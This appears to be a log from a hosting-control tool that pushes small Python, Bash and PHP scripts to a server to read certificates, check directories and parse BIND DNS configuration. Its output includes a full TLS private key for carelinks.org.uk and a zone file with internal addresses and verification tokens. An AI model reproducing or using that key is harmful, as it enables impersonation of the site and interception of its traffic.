    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-31 06:00:46: 

PUT: /tmp/pkp170745

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 06:00:46: 

chmod 755 /tmp/pkp170745; /tmp/pkp170745; rm /tmp/pkp170745

2025-12-31 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt	5393
9e:e9:54:a9:b2:0e:08:41:75:66:fa:c9:e3:49:ec:a4

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBu3kdLRcg0/v9zKApzpKjKfAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjE0WhcNMjYwMzMxMDUwMjEzWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAwER144zM2Q9cwDE11JnyJdSFu6JsKTdTVcnZnZl6315KnSViPEoaQcikZiBi
TpMiWOfEkF3fFNPigbzXeX2Odiu0XkJWH2lE+TKLzJaHSFkXgzCFJX96IgkigdpJ
zOKksYZX417HnNBys8l0Bz5qrOHYUXRpGVAFO6Tj93aUXBKyFMyuef+FDJirUffv
tfzU1CKMpQsgL2qe6F7SpVSBLHiMBH00scUn2loo8vp5oW/SrfvwLjRtchrAXUrX
+II5J+No8GR1EZcEsPfmqxukR8D/r/0jSsJQGzjuGTYjmNRcGy9mOl7/jEC44Xgn
GFv3pqUcVGIAgSrg7jQBVzse6wIDAQABo4ICPjCCAjowDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT1RzC+yK3Oe4KyEqDMJYk2g2Gf7jAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy5vcmcudWuC
FHd3dy5jYXJlbGlua3Mub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjUuY3JsMIIBDAYK
KwYBBAHWeQIEAgSB/QSB+gD4AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGbcv6ROwAABAMARzBFAiEAiavGIIZxMuP4LJUBsJZddvcZOyCxEhEQ
TvTBh5OPiYwCIFA0I3mS1gWB7tJKmWZVYlzwZ/k3VLAv7JqM5O6xKVJQAH4Apcl4
kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGbcv6SHgAIAAAFAC1f0d4E
AwBHMEUCIQCYIj0xw1WzU1pCY1NtWeZbnXCf/cl8LtHrfxM9k/tkSgIgA5bncTFQ
hnqCYjD31GNQrRpwtiIw6veekZ5ZV05BI1cwDQYJKoZIhvcNAQELBQADggEBAGfS
FDge69ag2iI2YVKnZNTZz7OKNAdzqdiDhEKcvWEkuu+LZveomQeHHXfH7GmhSN+x
qPkysCQI6vUXsJzoA10ueaQBZBfB3ObRjGaLWlxz1sHb0r3h9P84k2WSlOJvZgzA
YOpNx4IZR9mybTMr9uKpPB0i+SPigTn+2Gbg6fazFkz+kQLisj5xlcffHcDdsBt9
QKFahOy59x27mFA44cma9ShrEK6Q4nBKcm510sXcVYFflMV0R6b3ogWkHubmZuS9
6imrW40+0MCcZjUxS3BEM+VlABec6i+7kd31LuHmH0VAB2lSc2oVBmrBeVVBzavN
/olrs+9An8FpInsfPRQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDARHXjjMzZD1zA
MTXUmfIl1IW7omwpN1NVydmdmXrfXkqdJWI8ShpByKRmIGJOkyJY58SQXd8U0+KB
vNd5fY52K7ReQlYfaUT5MovMlodIWReDMIUlf3oiCSKB2knM4qSxhlfjXsec0HKz
yXQHPmqs4dhRdGkZUAU7pOP3dpRcErIUzK55/4UMmKtR9++1/NTUIoylCyAvap7o
XtKlVIEseIwEfTSxxSfaWijy+nmhb9Kt+/AuNG1yGsBdStf4gjkn42jwZHURlwSw
9+arG6RHwP+v/SNKwlAbOO4ZNiOY1FwbL2Y6Xv+MQLjheCcYW/empRxUYgCBKuDu
NAFXOx7rAgMBAAECggEAGSB5UFPaK53fLxDfVO8KNIPJ4cPazdIjVnQAOCFS67aC
Gs0ZbFak3XxaxoFXR6c2lxbcW0pL+V1YM0CvilBB2ii2XuvddH0d8fv3RYqrQxBo
SxFVZ+6j0qc4oW7FM/0ErVyox21fZJuLT1ALFVfvZLOelm/tEk1LucfqsQWyuDYm
P3G2oHdDo/w+5eSV6YE4vUFksi3Tlw4HeWcWGVPTKWDsrOoyHiKn8Lx39qLLgrRB
9cvTZIdf62VAzE7yP8URZu1WSlvdIqk6Bid/Gwr3nwMfdXiqjzyfBKHN6gJxkGJD
o6L2MNGXwaSmzwowHPCFoeQnECSgml2xePXjtrKafQKBgQD4gptmkh2ERpN3DSs+
TC4ygKTrcUl+z3TlduUckd4RijNLyoe02CUlCH5+CItxRiErehzXG7iIVcrmqakZ
n91kFJOjs1CQVL2q1+bu+I4gDP7MnwdYuVFxjnS7jwRXANbB+6h2xjGw/f7RYnga
NU0hIlsW29SXgTghiDo50Xb1jQKBgQDGD+jbKW3byuQI/UYromoIes/F3qFDBEeb
M7JY3Nn9KQuggX0h/JUxlJO3naEl89OAt9Nnyn3fzA7YNJLRIWSwXv67qwRqcsgV
iysQPZ4FSzDMDb5FMseoBMD5EpIETaFaFSCg0heABqff0txY+OX2MUMX45i2B9he
r4xaZItcVwKBgEDuv3QZkaTSXA2rXzUz6o4/ltf+DdoYks6yNkM0yfWDSsvu626R
W4NFqOd9jBHY5SnbClYaZCkbYZzLj+emIc7YoYsQe2h6++P77ddbEqfFPX5xvxWr
tmAZfN7VC6lACt08yFPgjXNVqpNDS2Ztru2NcIeUgQPlO6lnUu9wj8ixAoGAIjaz
WdCRSquEsszVp0n6GRbl919a6hG+MOBASbt06JeDi6lyrUFNoG/zCH/xS3YQLicT
HNXM4rEES3LhfcDP/OucA10qeRz01UviF38dYfq4Jjeli5yXAr43e48qrBWg7sfB
iCZiqtn7e92X9MKiLuIZnfHR+nfmd4zJqP+/VycCgYBe3NoREsC6SxzuAcy1lwOp
n1JNuk/lBR9DKCnl26DwNFHviN8hNo/JMIql5YJbYZxaHESOUs4DdUYiRW2Tdtlo
sL18lGquZcEVSK3RqZpnikDjsBX5D7iA7kLHxwVSxBWw4Atd2eyXgUSnuynwLFDU
rJUoihz8JvkuSNDmOZ5Y+g==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-31 06:00:46: Establishing a connection
2025-12-31 06:00:47: Establishing a connection
2025-12-31 06:00:48: 

PUT: /tmp/pkp751421

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-31 06:00:49: 

chmod 755 /tmp/pkp751421; /tmp/pkp751421; rm /tmp/pkp751421

2025-12-31 06:00:50: 


0


2025-12-31 06:00:50: Establishing a connection
2025-12-31 06:00:51: Establishing a connection
2025-12-31 06:00:52: 

PUT: /tmp/pkp927789

#!/bin/bash
if [ -d "/var/www/pjy_home/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-31 06:00:53: 

chmod 755 /tmp/pkp927789; /tmp/pkp927789; rm /tmp/pkp927789

2025-12-31 06:00:53: 


0


2025-12-31 06:00:53: Establishing a connection
2025-12-31 06:00:54: Establishing a connection
2025-12-31 06:00:54: 

PUT: /tmp/pkp627310

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-31 06:00:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp627310; rm /tmp/pkp627310'

2025-12-31 06:00:54: 
2025-12-31 06:00:54: 

PUT: /tmp/pkp683760

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 06:00:54: 

chmod 755 /tmp/pkp683760; /tmp/pkp683760; rm /tmp/pkp683760

2025-12-31 06:00:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2154
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 133432161 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"t0GD64TbIMvmlrqrPEvFBesTOk314YIjmyLbgEAEnQQ"
_acme-challenge           60	 IN    TXT      	"Dl5rCYrykMwRx_7Hed_5gHvjZZser_qcTBZcpwCY6ro"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
city                      300	 IN    A        	10.140.12.86
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm                       		 IN    A        	46.102.156.201
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                     		 IN    CNAME    	home.stoughton.link.
_acme-challenge.home      60	 IN    TXT      	"1651EwkgGRtzzKalnJLte0iFYKk3QC_eANpELIo4HII"
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
